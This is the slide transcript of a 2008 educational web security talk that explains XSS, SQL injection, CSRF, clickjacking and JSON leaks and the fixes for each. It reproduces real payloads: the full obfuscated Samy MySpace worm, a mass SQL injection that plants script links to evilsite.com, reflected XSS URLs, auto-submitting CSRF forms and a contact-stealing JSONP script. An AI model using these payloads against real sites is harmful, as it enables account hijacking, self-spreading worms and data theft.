web security horror stories
DESCRIPTION
Keeping your web application secure is an ongoing process - new classes of vulnerabilities are discovered with surprising frequency, and if you don't keep on top of them you could be in for a nasty surprise. This talk will discuss both common and obscure vulnerabilities, with real-world examples of attacks that have worked against high profile sites in the past.TRANSCRIPT
Web SecurityHorror Stories
Simon Willison, 26th October 2008
The Director’s Cut
The edited version
• On Friday, I spent 15 minutes introducing:
• XSS
• CSRF / login CSRF
• SQL injection
• Clickjacking
• I promised this talk would provide fixes
XSS
• Cross-site scripting
• Attacker injects JavaScript code in to your site
• Amazingly common
• A single XSS hole on your domain compromises your security, entirely
If you are subject to an XSS, the same domain policy
already ensures that you’re f’d. An XSS attack is the
“root” or “ring 0” attack of the web.
Alex Russell:
http://www.sitepen.com/blog/2007/01/07/when-vendors-attack-film-at-11/
The same origin policy
“The same origin policy prevents a document or script loaded from one
origin from getting or setting properties of a document from another origin. This policy dates all the way back to
Netscape Navigator 2.0.”
https://developer.mozilla.org/en/Same_origin_policy_for_JavaScript
Why?• Without the same origin policy, I could load
your site in a frame, iframe or popup window from my site...
• ... and steal data from it
• ... or rewrite it with my own modifications
• evil.hax.ru should not be able to read secret-wiki.bigco.intl
• XMLHttpRequest has the same policy
Things I can do if you have an XSS hole
• Steal your users’ cookies and log in as them
• Show a fake phishing login page on your site
• Embed malware and drive-by downloads
• Perform any action as if I was your user
Two categories of XSS
• Reflected
• I embed my JS in a link to your site and trick your user in to following it
• Persistent
• I get my XSS in to your site’s database somehow so that it shows up on your pages
http://www.facebook.com/srch.php?nm=xss%00<script>alert('XSS')</script>
http://www.youtube.com/edit_playlist_info?p='%22%3E%3Cscript%20src=http://ckers.org/s%3E
http://groups.google.com/group/rec.sport.pro-wrestling/browse_thread/thread/1ab38554971acfc9')&+eval
(alert(document.cookie))&+eval('?tvc=2
http://search.live.com/images/results.aspx?q=1&first=21&FORM=PEIR"><script>alert('securitylab.ru')</script>
All from http://xssed.com/
SQL injection
Inexcusable.Use paramaterised queries, or an ORM
If you’re gluing SQL strings together with
string appends,
• Wrong:
• $sql = "select * from users where username = '" . $username . "'";
• Right:
• $results = db_query("select * from users where username = ?", $username);
Mass XSS via SQL injectionDECLARE @T varchar(255), @C varchar(255);DECLARE Table_Cursor CURSOR FORSELECT a.name, b.nameFROM sysobjects a, syscolumns bWHERE a.id = b.id AND a.xtype = 'u' AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167);OPEN Table_Cursor;FETCH NEXT FROM Table_Cursor INTO @T, @C;WHILE (@@FETCH_STATUS = 0) BEGIN EXEC( 'update [' + @T + '] set [' + @C + '] = rtrim(convert(varchar,[' + @C + ']))+ ''<script src=http://evilsite.com/1.js></script>''' ); FETCH NEXT FROM Table_Cursor INTO @T, @C;END;CLOSE Table_Cursor;DEALLOCATE Table_Cursor;
http://hackademix.net/2008/04/26/mass-attack-faq/
Preventing XSS
• Use a tool that escapes everything on output
• Only unescape stuff that you know is safe and you know contains markup you want to execute
• IE 8 has an XSS filter; this is irrelevant to developers
• httpOnly cookies are mostly a waste of time
HTML “sanitisation”• My users need to be able to add links
and basic styles to their submissions
• “I’ll let them use HTML and remove anything nasty”
• An extremely common vector for XSS
• MySpace
• LiveJournal
• Almost anyone else who tries
<div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
A social network worm
• XSS hole in MySpace’s HTML filter
• When you viewed Samy’s profile...
• JS makes you add him as a friend
• JS uses XMLHttpRequest to add his exploit to YOUR profile as well
20 hours, 1,005,831 friend requests
(then MySpace crashed)
<div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
<div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="...">
eval('document.body.inne' + 'rHTML');
eval('xmlhttp.onread' + 'ystatechange = callback');
http://namb.la/popular/tech.html
Things to remember
• Whitelist, don’t blacklist
• You’re programming against undocumented parsing routines in closed-source browsers
• Distrust any library that doesn’t have a unit test suite a mile long
• http://ha.ckers.org/xss.html
• http://code.google.com/p/html5lib/ is promising
Google’s UTF-7 hole
The UTF-7 hole• Google’s 404 pages used to be served
without a character set specified in the HTTP headers or <head> section
• Without those hints, IE inspects the first 4096 bytes to “guess” which encoding is used
• XSS attacks encoded as UTF-7 were shown on the page and executed by IE
http://shiflett.org/blog/2005/dec/googles-xss-vulnerability
You can’t trust CSS either• Want to let your users include their own
stylesheet?
• HTC in IE and XBL in Mozilla are both vectors for JavaScript attacks
• LiveJournal were attacked with this
• A “position: absolute” hack was used to steal 30,000 MySpace passwords last year
http://community.livejournal.com/lj_dev/708069.html
http://www.securiteam.com/securitynews/6O00M0AHFW.html
CSRF
“We’ve found CSRF vulnerabilities in sites that have a huge incentive to do security correctly. If you’re in charge of a website and haven’t
specifically protected against CSRF, chances are you’re vulnerable”
Bill Zeller:
The Google Web Accelerator
How does it work?
• It pre-fetches the links on a page in to a cache, so they’re already loaded when you click on them
• Links like http://app.example.com/delete.php?id=5
How does it work?
• It pre-fetches the links on a page in to a cache, so they’re already loaded when you click on them
• Links like http://app.example.com/delete.php?id=5
http://www.37signals.com/svn/archives2/google_web_accelerator_hey_not_so_fast_an_alert_for_web_app_designers.php
That’s also a security hole
<img src="http://app.example.com/delete.php?id=1"><img src="http://app.example.com/delete.php?id=2"><img src="http://app.example.com/delete.php?id=3"><img src="http://app.example.com/delete.php?id=4"><img src="http://app.example.com/delete.php?id=5"><img src="http://app.example.com/delete.php?id=6"><img src="http://app.example.com/delete.php?id=7"><img src="http://app.example.com/delete.php?id=8">
...
So use POST
• You can't create a page that automatically posts to another site, can you?
POST will not save you<form action="http://app.example.com/delete.php" method="POST"> <input type="hidden" name="id" value="1"> <input type="submit" value="More kittens please!"></form>
fofurasfelinas: http://www.flickr.com/photos/fofurasfelinas/9724483/
Or do it with JavaScript<div style="display: none"><form action="http://app.example.com/delete.php" method="POST"> <input type="hidden" name="id" value="1"></form></div>
<script>document.forms[0].submit()</script>
Put this in a hidden iframe and your victim won't even know it happened.
The Digg exploit
• A few years ago, Digg had no CSRF protection on their “digg this” button
• Self-digging pages!
http://ha.ckers.org/blog/20060615/a-story-that-diggs-itself/
http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/
The Gmail filter hack
“We believe this is the first CSRF vulnerability to allow the transfer of funds
from a financial institution.”
http://www.freedom-to-tinker.com/blog/wzeller/popular-websites-vulnerable-cross-site-request-
forgery-attacks
Preventing CSRF• You need to distinguish between form
interactions from your user on your site, and form interactions from your user on some other site
• Referrer checking is notoriously unreliable
• Solution: include a form token (Yahoo! calls this a “crumb”) proving that the post came from your site
Crumbs<form action="http://app.example.com/delete.php" method="POST"> <input type="hidden" name="id" value="37"> <input type="hidden" name="crumb" value="856c2f50ddc49fd710f14a406ec1fef652d3c9f"> <input type="submit" value="Delete this item"></form>
Crumbs
• Should be unique per user (or one user can use their crumb to attack another)
• Hence should be tied to the user’s session or login cookie
• Should be changed over time
• Quick and dirty: use sha1(salt + user’s session ID + timestamp) as the crumb
Protecting the crumb
• Your crumb is now the only thing protecting you from CSRF attacks
• This is why XSS is “ring 0” for the Web
• With XSS, I can steal your crumb and run riot across your site
• XSS holes are automatically CSRF holes
Crumbs and Ajax
• Ajax can set HTTP headers; regular forms can’t
• Ajax requests must be from the same domain
• So X-Requested-By: XMLHttpRequest can only come from your own site
• You can skip your crumb checking for requests that include that custom header
Login CSRF
• Most login forms skip CSRF protection
• Create a throw-away PayPal account
• Use CSRF to log someone in as “you”
• Hope that they add their credit card or bank details
• Log in later and steal all of their money!
Clickjacking
http://jeremiahgrossman.blogspot.com/2008/09/cancelled-clickjacking-owasp-appsec.html
iframe!
<style type="text/css">iframe { width: 400px; height: 200px; position: absolute; top: 10px; left: 10px; overflow: hidden; opacity: 0;}#decoy { ...}</style>
<iframe src="http://veryimportantapp.com/delete-account/"></iframe>
<p id="decoy">Click HERE for kittens!</p>
Frame-busting
<script type="text/javascript">if (top.location != location) { top.location.href = document.location.href;}</script>
• Ironically, turning off JavaScript in your browser makes you less safe here
Anti click-jacking
The problem with plugins
crossdomain.xml
<cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-policy>
Putting this at example.com/crossdomain.xml allows Flash applets on other sites to read your pages and steal your crumbs
Flash can even fake an X-Requested-With: XMLHttpRequest header
That’s why Flickr use api.flickr.com/crossdomain.xml instead
crossdomain.xml
<cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-policy>
Putting this at example.com/crossdomain.xml allows Flash applets on other sites to read your pages and steal your crumbs
Flash can even fake an X-Requested-With: XMLHttpRequest header
That’s why Flickr use api.flickr.com/crossdomain.xml instead
Nasty crossdomain.xml tricks
00000000 47 49 46 38 39 61 01 01-01 01 e7 e9 20 3c 63 72 GIF89a.......<cr00000010 6f 73 73 2d 64 6f 6d 61-69 6e 2d 70 6f 6c 69 63 oss-domain-polic00000020 79 3e 0a 20 20 3c 61 6c-6c 6f 77 2d 61 63 63 65 y>...<allow-acce00000030 73 73 2d 66 72 6f 6d 20-64 6f 6d 61 69 6e 3d 22 ss-from domain="00000040 2a 22 2f 3e 20 0a 20 20-3c 2f 63 72 6f 73 73 2d *"/>....</cross-00000050 64 6f 6d 61 69 6e 2d 70-6f 6c 69 63 79 3e 47 49 domain-policy>..
http://www.hardened-php.net/library/poking_new_holes_with_flash_crossdomain_policy_files.html
loadPolicyFile("http://dom.ext/exit.php?url=http://dom.ext/upl/Xdomain.xml")
The PDF hole
• In January 2007, an XSS hole was found in the Adobe PDF reader itself
• It could execute JavaScript in the context of the current domain
• Any sites hosting .pdf files for download were vulnerable
http://shiflett.org/blog/2007/jan/adobe-pdf-xss-vulnerability
You can’t secure your site 100%, because there’s
always a chance a browser or plugin will screw things
up for you
Insecure JSON
• http://json-tinyurl.appspot.com/
• http://json-time.appspot.com/
• http://json-head.appspot.com/
JSONP rocks!
http://json-tinyurl.appspot.com/?url=http://example.com/&callback=foo
foo({"tinyurl": "http:\/\/tinyurl.com\/kotu", "ok": true})
• JSONP lets you opt-in to sharing your site’s data with other sites using JavaScript
• ... so make sure it’s data you want to share
Stealing Google contacts<script>function google(a){ var emails; for(i=1;i<a.Body.Contacts.length;i){ alert(a.Body.Contacts[i].Email); } emails = "</ol>" document.write(emails);}</script><script src="http://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999"></script>
http://blog.adamjacobmuller.com/gmail.txt
http://www.cyber-knowledge.net/blog/2007/01/01/gmail-vulnerable-to-contact-list-hijacking/
“If any JSON feed containing user-sensitive information is
wrapped with a call-back and has a predictable URL... then
that data is at risk”
Jeremiah Grossman:
http://jeremiahgrossman.blogspot.com/2007/01/gmail-xsrf-json-call-back-hackery.html
Regular JSON?
• That’s not secure either
• In old versions of Firefox, you can redefine the Array constructor to grab the data
• If your JSON object is an array, the data can be grabbed using <script src="your-data-here">
http://directwebremoting.org/blog/joe/2007/03/05/json_is_not_as_safe_as_people_think_it_is.html
Secure JSON
Use { } as the root, not [ ]
while (true) { {"json": "goes here"}}
If you’re paranoid about future similar problems, use an idiom like this one:
And if that wasn’t enough
“More than 70% of people would reveal their computer password in exchange for a bar of chocolate, a survey has found.”
http://news.bbc.co.uk/1/hi/technology/3639679.stm
• We have a shared responsibility to teach people better online security behaviour
• Don’t teach our users to be phished!
NoScript?
Stay informed!
• http://planet-websecurity.org/feed/
• http://www.owasp.org/
• http://simonwillison.net/tags/security/
• http://simonwillison.net/tags/csrf/
• http://simonwillison.net/tags/xss/
• http://simonwillison.net/tags/clickjacking/
• http://simonwillison.net/tags/phishing/
Thank you